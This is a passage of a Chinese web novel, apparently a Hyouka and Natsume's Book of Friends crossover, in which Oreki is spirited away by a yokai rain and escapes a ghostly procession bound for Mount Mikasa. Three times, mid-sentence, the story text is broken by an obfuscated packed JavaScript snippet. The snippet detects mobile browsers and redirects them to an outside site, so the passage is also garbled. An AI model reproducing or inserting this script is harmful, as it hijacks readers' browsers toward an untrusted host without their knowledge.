说起来，也没有哪个学生会莫名其妙地在车棚那做扫除。 两人下意识地缩回脑袋，彼此的脸上都露出了难言以对的表情。 “看错了吧……” “嗯嗯，绝对是看错了。” 无视内心的惊涛骇浪，折木与田沼默契地打着哈哈，当做什么都没发生。 可惜被缠上的契机，往往就是不经意的那一眼。 “你看到我了吧？” 空中响起清脆的铃响，正对着折木的窗口蓦然蹲着刚才的身影。 折木僵着脸，努力装作看不见。 “……你身上似乎带着神明的气息。”那人开口道，“那你的身边一定有神明大人存在。” “失礼了，在下来自西边三笠山，三天后，珊瑚岛的公主大人将从这里路过，吾等为迎接公主需在此清扫污秽，布置出道路，若有冒犯之处，还请尊神原谅。” 那人仿佛在唱歌，清脆宛如铃声悦耳的声音让折木心神一颤。 等他回过神时，那个人就已经不见了。 吓死了，还好不是什么心存恶意的妖怪。 折木发现自己手心都握出了汗，没想到第二次接触陌生妖怪会让他这么紧张，就算心里有准备，但还是会没由来地对未知产生恐惧。 折木心有余悸地想。 不过那妖怪看起来是同他对话，实际上是透过他向纸月传递了信息。 三笠山，珊瑚岛的公主？ 听起来像是童话故事里出现的人物。 应该和他没什么关系。 12. 第 12 章 折木心不在焉地结束一天的课后，和田沼他们走到二班等夏目。 说实话，他自认为没什么交际能力，也不爱参与集体活动，甚至因为节能主义被很多人都误解过，被人厌恶到“这家伙在搞什么啊”、“能不能认真点”这种程度。 不过能在转学后快速融入一个小团体，也是连折木自己都没料到的事，若是里志那家伙知道，肯定会惊愕失色。 夏目拿着书包和西村从教室里出来，看到折木等人都喜笑颜开。 只是夏目朝折木的方向看时，笑容略微有些变化，似乎是想问折木的身体情况，但碍于教室门口人流混杂，就没开口。 折木也有事情找夏目，此时并不是合适的机会。 几人从教学楼门口出来，西村提议周末大家出来聚餐，正好可以去西边那条河垂钓，其他人没有意见，折木也无所谓，反正参与进去没什么坏处。 “咦，怎么下雨了？” 一滴冰凉的水落到鼻尖，紧接着雨丝从松散到密集无缝衔接到众人身上。 “哇！太突然了吧，明明刚刚还是晴天的！”嗓门最大的西村最先出声。 遭了，折木下意识将手中的提袋夹在书包和身体之间，那里面是夏目的衣服，被雨水弄湿的话不就白洗了？ 几人赶紧跑到附近的车棚躲雨。 “你们有带伞吗？”田沼从书包里拿出一把伞，回头望向差点变成落汤鸡的其他人。 “没有。” “没有。” “没有。” “没有。” 田沼：“……”那还真是遗憾。 “这雨一时半会儿也不会停，我和西村家离得近，要不直接跑回去。”北本提议。 “要去你去，我可不要。”西村立马否决。 “算了，估计很快就停了，稍微在这等一下吧。” 说着，田沼看向另外没有说话的两人。 “夏目？折木？” 看他们的神情像是在发呆？ 折木愣愣地看着他们说话，仿佛被雨水吸收似的，他现在竟然听不到一点声音。 此时，周围如同浓重的雾霭一般阴郁，耳边响起似是流水浮动，又似是游鱼穿梭水面的声音，仿佛置身于深海，周围的人声忽然离他很远，连田沼他们的面容也变得模模糊糊，像是有无数光怪陆离的水纹覆盖在视野中。 他出现幻觉了？ 折木下意识张开口，想大口呼吸，手腕忽然被猛地拉住，转过头，发现是夏目。 皮肤被接触的瞬间，潮水从视野中褪去，那些幻觉成了业已消逝的旧梦，周围再次变回了原样。 “折木，你刚刚发呆也太久了，没事吧？” “……我没事。”折木瞥了夏目一眼，淡定道，“我刚刚看雨入迷了。” “你真怪，这雨有什么好看的……诶，等等，停了？” 西村目瞪口呆地看着转瞬即逝的雨幕，完全不知道该怎么吐槽。 这雨下得也太敷衍了，连五分钟都不到吧。 几人从雨棚出来，折木后知后觉才注意到夏目还拉着自己的手腕…… “抱歉。”夏目适当放开，脸微微有些红。 “没……” 这是什么表情，搞得他怪不好意思的，折木假装沉思，微微侧过身子。 和其他三人分道扬镳后，似是憋得有些久了，折木和夏目不约而同地松了口气。 “刚刚你看到了吧？” 折木点了点头，进入雨棚的一瞬间，他就进入到另一个异界，那是来自水底的异界。 “果然刚刚是有什么妖怪出现。” 折木想起自己上午看到的妖怪，他记得对方为了迎接珊瑚岛的公主在清扫道路，应该是和这个有关。 他把遇到妖怪的经历大致讲给了夏目听。 夏目皱了皱眉，迟疑了片刻，终于开了口：“不知道会不会影响到人类，倒是可以问问猫咪老师。” 折木也想说可以问问纸月，然而，几滴雨水落到了他脸上。 不会吧，又来？！ 两人哀嚎出声，这雨仿佛装了追踪器般，直接在他们头顶下来起来。 周围的一切在朦胧的雨中淡化了颜色，而那模糊不清的水声再次回响。 又要出现那幻觉了！ 折木想用书包遮住头顶，没一会儿发现头顶上方多出了一件衣服。 是夏目的校服外套。 “跑！”夏目两手撑着校服，带动着折木一起跑了起来。 这雨来势汹汹，两人已经被雨水淋得睁不开眼睛，这时，他们听见有人叫着救命的声音，折木用衣袖擦了擦眼睛，仔细一看，周围都是因为突然下起来的暴雨大喊大叫的妖怪。 这雨对它们有影响，可惜他们也自顾不暇了。 折木和夏目顶着一件衣服维持着搞笑的奔跑姿势，终于跑到了家门口。 塔子阿姨打开门，看到两人浑身湿漉漉，吓了一跳，连忙让他们进来。 “还好刚刚烧了热水，你们快去洗澡，别感冒了。”塔子阿姨非常体贴道。 折木不想麻烦她：“不用了塔子阿姨，我回家洗就好了。” “说什么傻话，这雨这么大，你身上湿那么久，肯定会着凉的。” 塔子阿姨不容置疑地将两人推进浴室：“家里备用的换洗衣服我会放在门口哦。” 望着热气腾腾的洗澡水，折木有些尴尬，但来都来了，他也不好再拒绝别人的好意，反正只是两个男生洗澡，也没什么。 这么想着，他脱下湿透的衣服，丢到换衣篮。 “不用管你家猫咪老师吗？”折木一边脱衣服一边问，“如果那雨对妖怪有影响的话，它岂不会遇到麻烦。” “……我打算洗完澡就出去找它，”进入浴池的夏目有些担忧地叹了口气，“不知道那家伙这几天跑到哪喝酒了。” 喝酒？ 折木脑海里逐渐出现那个大叔音的肥猫抱着酒瓶子耍酒疯的场景，越来越觉得有喜感了。 他们简单聊了几句，很快就从浴室里出来，两人浑身热气腾腾的，折木一边用手扇了扇风，一边打开手机询问父亲回家了没有。 对方很快回了短信，说自己被大雨堵在了工作地，可能今晚回不来了。 折木蹙眉沉思起来，老爸那里也下雨了，这雨降的范围究竟有多少，竟然还波及到了那边，不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266243|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般的古怪。 “折木今晚就在我家吃吧，我准备了咖喱哦。”塔子阿姨将咖啡递给他说道。 “那个……”折木想说几句回绝的话，都被塔子阿姨堵了回去。 “折木君，你不用嫌麻烦，都是邻居总要照顾一二的，况且我也了解你父亲经常外出，如果可以的话，我希望你一个人的时候能来我家吃饭，反正有贵志在，你们又是同学，这样也不会觉得孤单。” 这话说得折木面红耳赤，脑子里想的所有拒绝的话都被塔子诚恳的笑容击碎了，完全找不到反驳的理由。 折木不由地点点头。 “塔子阿姨，外面雨停了，需要我帮你把衣服被褥放到外面晒吗？” 这时，夏目的声音打断了两人的对话。 “诶，这么快就停了吗，我记得连一个小时都没有。” 塔子阿姨连忙起身，“不用了贵志，你下来招待折木君吧。” 夏目闻言顺着楼梯走了下来，他并没有听见客厅里两人的对话，只是看到折木脸红红的，不禁有些好笑：“这是怎么了？” “被咖啡的热气薰的。” “是吗？” 怎么看都不是很冷静啊，夏目想。 “我、回、来、了！”玄关的门被打开后又关上，一只圆滚滚的白色生物慢悠悠地走了进来，嘴里似乎还叼着不知从哪顺来的半只墨鱼，看到折木也在，它三两下吃掉后，跳到沙发上。 “怎么半神的小跟班会在这，嗝……你身上被标记的神明气息越来越浓郁了。”猫咪老师嗅了嗅折木身上的味道，舔了舔嘴角，看对方的眼神透露着几分饿意。 折木无语：“能不能别用看肉包子的眼神看我。” 猫咪老师哼一声：“在妖怪眼里，你可算得上上等佳肴了。” 这话背后的隐喻让人不安，夏目防止猫咪老师再说些让折木惊慌的话，立马用武力制止了。 “老师有遇到那场雨吗？” “雨？”猫咪老师歪着头，“没有，我今天一直呆在八原和那些小妖喝酒，根本没碰到什么雨。” 折木一听，和夏目对上视线。 这样看来，这雨只会下在特定的范围里，而且持续的时间也不长。 不知道这雨和折木遇到的妖怪有没有关系，夏目换了个问题问道：“那老师有没有听说过三笠山和珊瑚岛的公主。” 听到特殊词汇，猫咪老师顿时来了精神：“三笠山我知道，不就是那座隐世仙山吗，传说用来招待神明的场所，那里盛产的酒泉可是难得一品的佳酿！” 说到酒，猫咪老师总是能兴奋起来。 “那珊瑚岛的公主呢？” “不认识。”猫咪老师即答，“听起来像是某座岛的神明，不过这和你们有什么关系？” 夏目在折木的同意下，再次重复叙述起撞见的妖怪，以及反复无常的雨水。 猫咪老师思索了一会儿，说道：“西方那边的妖怪倒是有用雨水进化污秽的仪式，不过再具体的，我就不太清楚了。 “不过比起这个……这里应该还有一个更能知晓全貌的人吧。” 猫咪老师眯着眼睛，将目光转向默不作声的折木。 13. 第 13 章 猫咪老师说的是纸月吗？ 见折木陷入沉思，猫咪老师打了个酒隔：“神明的事当然只能去问神明，我们这些妖怪又能知道什么？” 折木确实是有这种想法，只是纸月几乎不会在他上学或者外出的时候出现，即使能通过类似心灵感应的对话，纸月也是在他陷入危机的时候才出言提醒，大多数都在家里窝着。 用她的话来说，她不想离开自己的本体太远，离得太久反而会招惹污秽上门。 折木对纸月的事情知之甚少，而且不知道为什么现在他和纸月的处境，就像隔了一层玻璃罩，两人虽然在同一屋檐下，却不会因为身份问题互相越轨。 纸月知道折木对妖怪避之不及，不会过多谈及这些话题，她更关心地反而是折木的日常，例如以前的生活，相处的朋友之类。 有那么一刻，折木觉得纸月把思念行舟先生的情感投射在了自己身上。 “我去问问吧，”折木用挂在脖子上的毛巾擦了擦头发，只要不被扯进妖怪的事情中，只是问个问题应该不打紧。 折木在夏目家吃完咖喱后，打算回家，在离开之前，他将洗干净的衣服还给夏目：“上面的血已经洗干净了。” “麻烦你了，你的衣服还在烘干，下次我带给你。”夏目笑道。 折木正要点头，冷不丁就听见猫咪老师说：“你俩已经发展到互穿衣服的关系了？” 这话怎么听都容易误入歧义，两人面上都带了点窘的表情，夏目最先反应过来，没好气地挠了挠猫咪老师的下巴：“老师你别乱用句子，会让人误会的。” “唔哼~~唔哼~~”猫咪老师被挠得舒服得发出哼唧声，也不再多说什么。 折木告别夏目，回到自己家，一开门就看到坐在玄关上正在脱鞋的父亲。 “哦，欢迎回来，奉太郎。”父亲朝折木打了一声招呼。 “你不是说今晚不回来了？” “原本是这样打算，不过雨下了不到五分钟就停了，感觉是被雨神捉弄一样。”折木父亲不管遇到什么事，都能保持乐观的心态。 “你手上拎着什么？” “塔子阿姨做的咖喱，她说做多了让我带回来吃。”折木说道。 “Lucky~正好我还没吃晚饭。” “又没说是给你吃的。”折木是这么说，但还是把手中的保温盒递给父亲。 父亲笑意满满地吃起了咖喱，并饶有兴趣地观察着折木的表情：“看来你和隔壁的小子相处得不错，已经成为朋友了？” 折木愣了愣，好似才听懂问题的内容，慢悠悠地敷衍道：“算是吧。” 实际上，到底怎样才算得上朋友，折木在这方面的界定就很模糊，像他和里志从国中就在一起玩了，具体什么原因他记不清，或许是被彼此超然古怪的个性所吸引也说不定。 而夏目……折木说不清，他只是有预感如果和对方继续深交的话，自己的节能主义会很难保持下去。 “那就好，我还怕你会因为交不到朋友而变得独来独往。” “要你管。” “什么时候把他带回家来玩？我可以带你们去我的工作地逛逛哦。” “……” 折木用关门回答了父亲的追问，再这样下去，简直没完没了了。 房间里，纸月正坐在窗前看风景，见他回来了，幽幽地开口：“你回来得好晚。” “要怪就怪外面那场雨。”折木说得简而意赅。 “那不是雨哦，那是一个叫“目渺”的特殊妖怪，它的眼泪有净化污秽的作用，只是看上去和雨水很像。”纸月的脸化作一个阴险的笑容。 果不其然，她就乐滋滋地欣赏到折木一脸难受便秘的表情，任谁听了自己被妖怪的眼泪淋了一身都不会好过的。 “别担心，它们形体缥缈如云雾，流的眼泪也不会对人们有什么害处，一般只会在狐狸娶亲或迎神仪式的场合出现，不过……” 纸月将视线又转移到窗外：“这场雨对妖怪来说可是某种催命符啊。” 折木听得表情一僵，他走到纸月身边，朝窗外看去，果然有几个小妖怪躺在那奄奄一息，连动都动不了。 “再来一场雨，它们应该连今晚都挺不过吧。”纸月抱着看热闹的心态说着。 “你不救它们吗？” “它们与我毫无关系，为何要救？” 纸月目光无悲无喜，似是在漠然地看着外界的一切，内心毫无波澜。 折木抿了抿唇，的确，这些和他，还有纸月都没有关系。 绝对不要和妖怪有什么牵扯，他是这么在心里决定的。 准备拿出作业开始做题，做了不到十分钟，折木的注意力却怎么都不集中，他瞅了眼还在故自赏夜的纸月，决心已经开始变得摇摇欲坠了。 想说服自己不该多管闲事也没用，既然看见了，就没办法当做看不见处理，他没和纸月说话，拿了把伞径直出了门。 “明明不想卷入妖怪的事，结果还是忍不住去管了，”纸月一直守在窗户边如，寒星一般的目光穿透折木的背影，落在十分遥远，遥远到不可捉摸的地方，“和行舟很像，但又不一样。” “真是笨蛋。” 纸月飘起身体，准备偷偷跟着折木出去， 倏然，有什么东西隔绝了她对折木的感知，折木的气息竟在那一瞬间消失了。 她似乎察觉到了什么，再次看向窗外。 此时，雨幕悄无声息地袭来。 …… 折木出这趟门，专门带了一个水桶。 周围渐渐聚拢雾气，视野的可见度明显下降。 折木看了看身后，身后的房子竟被浓雾完全地掩盖，他走了几步，觉得很不对劲，总觉得自己只要停下脚步，就会被吞噬在那无尽白雾中。 心底涌起暗沉沉的预感，但他还是没有回头，而是将倒下的小妖怪一个接一个放进水桶。 那些小妖怪还有呼吸，只要在下雨前把它们带回家就好。 原本是这么想着，但当他往回走时，眼前的景象却突然往后倒退，折木感觉道路被拉长了。 折木：“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266244|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排除自己在自家院子迷路的可能性，那么现在应该是遇到那种情况吧。 鬼打墙？ 滴、滴、滴。 雨水打在了翘起来的发尖，顺着发梢落在了鼻梁上。 下雨了。 折木赶紧打开了伞，将水桶从提改成了抱，尽量不让雨水溅到桶里。 一无所见的状态下，折木努力冷静下来，继续沿着返回的道路走。 大概数了一百多步，折木停了脚步。 前方有星光璀璨，隐约浮现的光点在向这里靠近，待那些光点走近一看，是戴着面具，手持着灯笼的“幽灵”，它们缓慢地组成一条游行队伍，为身后的华丽轿撵照明道路。 为首走过来的是一个女人，她缓步走来，举止优雅，身边的侍从为她开路照明。 寒风吹着这女人发鬓垂下的一缕头发，一身花色宽袖尽管沉浸在夜色之中，靠着侍仆的灯笼光仍能辨认出鲜艳的红色。 折木完全不敢吱声，只能呆站在原地。 为首的女人被他吸引了注意力，在路过他时，特意地停下脚步。 “哎呀，哪来儿的人类小孩，这里可不是你该来的地方。”女人微微吐气后，脸上展现出比花儿还美的笑靥。 “我迷路了。”折木小声呢喃后，女人的杏仁大眼灿然生辉地迸出光彩，她仔仔细细地打量折木，眼底有了怜悯。 “一个不知道回家路的孩子，真可怜，跟我来吧。” “公主大人很喜欢人类，看到你，她一定会很高兴的。” 当女人伸出手拉起他时，注意到他怀中抱着的水桶。 “怎么能带着这些秽物呢，舍弃它们吧。”女人温柔的按住他的手，话里却莫名带着一股寒意。 折木的意识在拼命抵抗着这些甜蜜的话语，它们模糊而欠缺真实感，却一点点暧昧地侵蚀着他的意志。 “不……不行。”折木抵抗了过去。 女人的眉毛皱得像雨燕的翅膀，略有些惊讶地抿着嘴唇。 “怎么了？” 轿撵传来好听的女声，女人连忙回身垂首道：“有个人类之子迷失在我们的必经之路上。” “人类啊……还真是好久没有见过了，既然如此，请将他带上吧。” “可他还带着……” “无妨。” 女声优雅而带着笑意，似乎觉得这不是什么大事。 折木偏离了轨道，意识被女人拉进了那条队伍里，缭绕在周身的云雾消散，耳边充斥着模糊的水声，仿佛整个人沉入水底，所思所想都成了漂浮在水中的小小的气泡。 事情会演变成无法回头的状态，往往只在一线之间。 折木这样想着，随着上升四散的轨迹，意识沉入温暖的黑暗。 与此同时，夏目也遇到了不速之客。 来人是带着能面具，身上穿着颜色不俗的和服，背着像是扫帚之类的东西的妖怪。 他彬彬有礼地坐在夏目面前，朝他恭敬地说道：“久仰夏目大人威名，吾等乃三笠山之众，请大人帮助吾等寻找公主大人。” 14. 第 14 章 “你说的不会是珊瑚岛的公主吧？”夏目慎重地问道。 “不愧是夏目大人，已经得到消息了么……事实上，这几天吾等三笠山一直在做迎接仪式，只是不知为何目渺的行迹路线完全偏离了常轨，给其他地区的妖怪造成了非常不好的影响。” 听着能面具用恭敬的语气说着坏事，夏目的胸口莫名染上不好的预感。 “那么公主又是怎么回事？”猫咪老师在旁边接上问题。 能面具轻叹：“就在吾等要为仪式做收尾工作的时候，平常负责侍奉公主的妖怪前来求救，说公主大人被人调换了，现在的公主并不是真正的珊瑚公主。” “吾等无法判断事情的真伪，特来向夏目大人求助。”能面具再次低头道。 “连你们都确定不了的事，我们怎么帮得了你们。”猫咪老师直接拒绝，并朝夏目说道，“喂，夏目，这可不是什么普通的妖怪事件，若处理不好，我们可是会被神明记恨上的。” 夏目也意识到事情的麻烦程度超过自己的预期，但如果不管的话，被无辜受牵连的普通妖怪该怎么办？ 他犹豫片刻，最终说道：“我无法给予承诺，不过如果发现什么线索的话，我会通知你们或者尽可能帮忙的。” “喂，夏目！”猫咪老师不满道。 “能得夏目大人的帮助，吾等感激不尽。”能面具再次鞠躬。 倏然，窗外传来一声惨叫。 紧接着，外面的院子传来木屐踩踏着雨水的声音。 夏目下意识跑到窗前，但在身体行动的那一刻，房间弥漫起浓郁的花香，头顶泛黄的钨丝灯也噼啪摇曳了一瞬。 所有人都被死寂包围，因为房间多出了一道身影。 夏目转身看去，多出的那个人翩然入坐。 朱红的耳坠摇曳轻闪，侧脸像凝结的雪，赤红的宽大衣摆朝四个位置展开，上面绣着的百花纹路竟然变成真的花朵，娇艳欲滴地在最外层的单衣上绽放，在空气中散发着醉人香气。 灯光在她身上暗下去，却在那张美丽到失语的脸上亮起来。 “你是纸月？”夏目愣怔地看着这位不该出现在这里的美人。 之前折木生病的事，就是这位半神告知他，只是当时的纸月朦胧得像个幽灵，几乎看不清她的脸。 而现在的她明显清晰鲜活地出现在他面前，连一旁的猫咪老师都少见地露出戒备的神色。 没等夏目发话，能面具就已经朝纸月行了一个大礼，他身形颤抖，原本平稳的语气也变得起伏起来：“啊啊，神明大人。” “不知大人为何要伤害吾等，吾等并未作出失礼之事。” 能面具指的是外面那位惨叫的同僚。 纸月皱眉：“伤害？那家伙挡了我的路，我不过是将它扫到树上下不来罢了。” 能面具无话可说，但仍旧不敢抬头。 纸月眼神越发冰冷，用指责的口吻道：“目渺应由你们三笠山众看管，没有你们的指令，它们并不会胡乱行动，为什么这几天会出现那么大的纰漏。” “……吾等，”能面具停顿了下，才解释道，“也不知为何如此，继公主大人出事后，吾等就无法掌控事态了。” “出事？” “因为珊瑚岛的公主被人掉包了。” 夏目总算从沉默中插话了，迎着纸月的视线，他继续说道：“服侍公主的妖怪逃出后就跑到三笠山寻找帮助，说不定最近发生的异状应该就是和这有关。” 听到事情原委，纸月态度软化，但脸上仍残留着一股怒意。 折木的气息消失后，她盯着外面的雨，觉得自己有被挑衅，所以她干脆不再隐瞒，用真身示人。 “折木怎么了？” 夏目很敏锐地感受到纸月面上的怒气，能挑动她情绪的事，除了行舟先生，大概只有折木了。 “哼，那小子因为多余的善心被那场雨神隐了，我现在正在寻找线索。”纸月抱臂，说出了自己贸然闯入的目的。 “既然得知原因，那我就该离开了，多谢。” 说着，纸月就要起身。 夏目的话却打断她的行动：“等等，折木被神隐？” “徒劳的话我不想解释第二遍。” “那就请带上我！” “哈？” 纸月没好气地看向他，说道：“我这可不是去玩，那种地方不该你这样弱小的人类去。” 更何况，她是要去砸场子的。 “拜托了，既然是折木出事了，我根本不可能坐视不管。”夏目走到她身边，认真道。 “我记得你们才认识几天吧？”纸月闪过不解的目光。 人类为什么要为了不相关的同类去冒险？哪怕只是结下了几天的友谊？ “就算我和折木不认识……我也是同样的答案。” 纸月似乎透过那张熟悉的脸上看到了什么，有些不爽却不意外，她露出愉快的笑容：“事先说明，我可不保证你的安全。” “没关系，我能保护好我自己。” 说到此处，夏目感觉自己的左肩多了份重量，余光就看到猫咪老师舔了舔自己的爪子：“啊咧啊咧，真是个不知天高地厚的小子，夏目，如果你这次行动不幸死掉的话，我可是会毫不犹豫地继承友人帐做坏事哦。” 夏目笑笑：“知道了，老师。” …… 折木醒来的时候以为自己在做梦。 冰冷的水漫过身体，然后又逐渐淹没自己的面部，即便沉入水中他也不会窒息，而过于惬意的状态让他无暇考虑其他的事，好想就此沉下去。 他仿佛看到小小的气泡在他眼前飘过，白白的气泡又像雪又像星星，飞散般交叠在眼前。 他脑中出现了闪烁的画面，堆积起来的气泡慢慢变成两个人影。 他看不清她们的样子，只知道周围的光线逐渐变地明亮起来，此时耳边随即出现人群的嘈杂以及隐约能听到烟花的声音。 “姐姐，不要乱跑，小心被人类带走。” “没事的，别担心，我会紧紧跟在你身后的……快看，这里有捞金鱼。” “等等！” 其中一个朝奔跑的身影大喊着什么，随后他的意识体被捞了起来，随后视野一闪而过的是一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266245|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极致魅人的蓝色。 好漂亮。 折木这样想着，随着上升四散的轨迹，一眨眼就消失的瞬间情景上他的意识沉入温暖的黑暗。 哗啦一声。 折木被这激烈的水声猛然惊醒，他一抬头就看到了自己混在幽灵之中，身上的衣服也莫名变成了雪白的和服，脸上也覆盖着面具，一只手持着灯笼，另一只手抱着装着小妖怪的水桶。 折木：“……” 这里是哪里，我是在……？ 折木莫名地站在原地不动，四周的幽灵无视他般从他身边走过，渐渐地他落在了队伍的尾巴。 “喂，人类，你不要命啦。” 眼见着他渐渐脱离队伍，最后一排的幽灵忍不住回头看他。 “再不走的话，你会彻底迷失在这里。” 听到这话，折木认识到事情的严重性，立刻小跑几步跟在它身后。 “这条路是通往哪里？” “当然是三笠山，公主大人要去那参加夜宴。”那幽灵瞥了他一眼继续道，“真不知道你是幸运，还是不幸。” “什么意思？”折木皱眉问。 “公主大人把你带上，显然是看上你了。” “啊？” 这下折木慌了手脚，他一个平平无奇的人类，居然也能经历一出被妖怪强抢的戏码。 看折木想歪了，那幽灵颇为无语，只能提点他：“你身上有神明的气息，那女人是想把你当做礼物……或者说祭品送给三笠山。” 完蛋。 折木冷着脸，竟然是这种剧情走向，想象着自己到了那里被各方妖怪大快朵颐，他就觉得惊悚万分，不逃不行。 他用余光看了眼身后没入黑暗的路，两侧也形成了被水包裹的墙壁，完全不可能会让人类逃脱。 说不定那公主不怕他醒来后逃跑，也是这个原因吧。 “……那你为什么要提醒我？”折木与幽灵保持持平的速度，“你不是公主那边的人吗？” “哼，那当然是我和你的处境一样啊。” 幽灵取下脸上的面具，露出了一张陌生的人脸。 “你也是人类？！” “怎么可能，我是八原正在修行的鼠僧，只是变成人的样子而已，我常年受佛寺影响，渐渐有那么点开窍的灵性，结果就被这个路过的女人强行带走了！” 鼠僧说到此处，有些怒意上涌：“它们说这女人是珊瑚岛的公主，可我记得那位公主是神明的后裔，分明高洁正直，受西方妖怪们的追捧，断然做不出强虏的行为。” 折木无视它文绉绉的话，直接总结：“所以现在这个公主是假的？” “我是这么判断的。”鼠僧点头道。 “这样的话……这些队伍里的妖怪都是她强虏进来的？” 折木指了指前面沉默行走的队伍，它们似乎完全没有听到折木和鼠僧的对话，如同行尸走肉般，只知道跟随着那个轿撵。 鼠僧的目光也随他看向队伍，沉默了会儿，才些许悲凉地开口：“它们曾经或许是妖怪，或者别的什么……但现在和幽灵也没什么两样了。” 15. 第 15 章 死后的世界是什么样的？ 对于一般人而言这是很愚蠢的问题，不过由于恐惧死亡，人们转移焦点争论一些形而更了不起的事情，比如：神，天堂地狱，或者黄泉奈落。 为了捍卫各自信仰的真理，人以神之名行恶之事，混乱四起、群魔乱舞，但是关于死亡的尽头却始终无解。 折木这么想也是因为现在的情况。 跟着幽灵的队伍，很快来到了一处熟悉的场所，折木望着脚下的风景，惊觉自己就站在八原之上，来自俯瞰的冲击性的情感让他产生了不真实的错觉，仿佛只要向前再踏一步，他就能坠落而下，迎接那未知的世界。 而当他真的有那样的想法时，他才想起自已目前也变成了幽灵，而死亡也在他身上留下了短暂桎梏的痕迹。 折木心情复杂地收回视线，继续混迹于幽灵的队伍之中。 鼠僧说过，当人类被神隐后，生与死的界限就会变得模糊，身体就会处于虚无的幽灵状态，他们无法感知外界，也无法被外界容纳。 成为“幽灵”的时间越长，意识就越容易脱离肉//体，慢慢地，就会只剩下躯壳，彻底沦为行尸走肉，对人类来说，就跟死了没什么区别。 听完鼠僧描述着他们之后会变成的结局，折木的心就像被无形的手紧紧攥住，甚至愤怒优于理性，让他对所谓的“公主大人”感到一股从未有过的厌恶。 “我们要做的就是趁意识还清醒的时候，想办法离开这个通道，否则到了三笠山就彻底结束了。” 鼠僧也看向了他们脚下广袤的林海，此时就是他们逃生的关键时候。 “我教给你的密咒记牢了吗？” 鼠僧不愧是在佛寺修行的妖怪，早就在被“公主大人”强虏来后，就开始思考逃生的办法，有了折木的加入，接下来成功的可能性会大大提升。 折木点头，对方教的法咒有些饶舌，但他还是尽可能地记住了。 “那么开始吧。” 鼠僧小声说着，混杂在队伍中央，两人蹲下将手掌贴在通道内，同时嘴里轻声念起密咒。 折木感觉到包裹自己身上的水开始微微震动，像是被口中的声音切裂般，脚底的通道竟然形成了一个缺口。 “跳！”耳边传来鼠僧的叫喊，折木也没想太多，跟着对方跳了下去。 降落的过程中，没有感受到风的流动，但有股对夜晚来说相当异常的寒气触及到他的身体。 “有两只小老鼠逃了出来啊。”头顶传来女声。 折木抬头看去，只见那个将他带入队伍的花袖和服女人面朝自己，以非常恐怖的姿态朝他们袭来。 折木只觉得以前和里志看过的恐怖片，都不及此时此景更让人惊骇。 “同我回去，否则我现在吃了你们！”女人厉声道。 “小子，别慌！” 鼠僧单手结印，口中喃喃念着繁杂的法咒，朝女人劈去。 对上还只是灵体状态的鼠僧，女人整个身体如同一条灵活的鱼，扭动身躯，轻巧躲过鼠僧的攻击。 她的脸有那么一点变圆，四肢细瘦而有力，从下颚到眉眼被鱼鳞所覆盖，透着非人的轮廓。 女人对鼠僧不痒不痛的行为没什么兴趣，她的目的还是在折木身上。 放走一只老鼠，可以。 但为了公主大人，这个拥有神明气息的人类，绝对不能放走。 脑海里闪过这个念头后，她手上的动作更加坚决。 就在她马上要抓住折木的时候，眼前的少年的气息忽然变了。 半空中，气流如烟似雾，甜美的花香倏地散开。 折木眼中的绿色妖艳异常，熠熠生辉，他冲着女人露出轻蔑的笑容，做出将弓举至头顶的动作，持箭的右手保持一动不动，只有左手握着一股气力往女人的方向伸去。 女人暗道不好，扭动身子要躲过去。 却在少年等待“离”的这段时间被风裹着四肢动弹不得。 大约五秒后，折木松手了……“嗖”地破空声，女人被无形的利箭贯穿。 被撕裂半个身子的女人惨叫着喊着“公主大人”。 话音刚落，十几条个影子映照在“折木”鲜艳的视网膜上，像是人型的剪影浮现在他眼前，同时四周响起一片冰凉的摩擦声。 原本沉没在队伍里幽灵齐齐出动，它们的身体像是被看不见的丝线操纵着，手中拿着闪烁着白光的灯笼，不论从哪个方向都被它们挡住，在这群幽灵的眼里完全没有理性的光泽。 看它们的样子，应该是被那位“公主大人”操纵了。 “这就是你的伎俩么，一个邪魔歪道玩弄他们的身体到底有什么意义？” “折木”扫视了它们一眼，说道，“还是说你是故意试探我的出现？” “因为妾身很好奇，这个少年究竟是被哪位神明大人所宠爱着，竟然不惜将‘眼睛’放在他的身体里。” 完全不知道对方隐藏在哪里，可言语却像风一般，依旧能清晰地传到他的耳边。 “既然如此，你也该现身了吧？”“折木”忽然看向头顶。 “妾身体弱，不便在大人面前露面。”那声音呵呵笑道，“如果大人硬要见妾身，那么请在三笠山的夜宴那一聚吧。” “折木”冷冷地威胁：“不用等到那时，我现在就可以让你在我面前露面，让你知道觊觎我东西的下场。” “呵呵，大人就不要为难妾身了。” 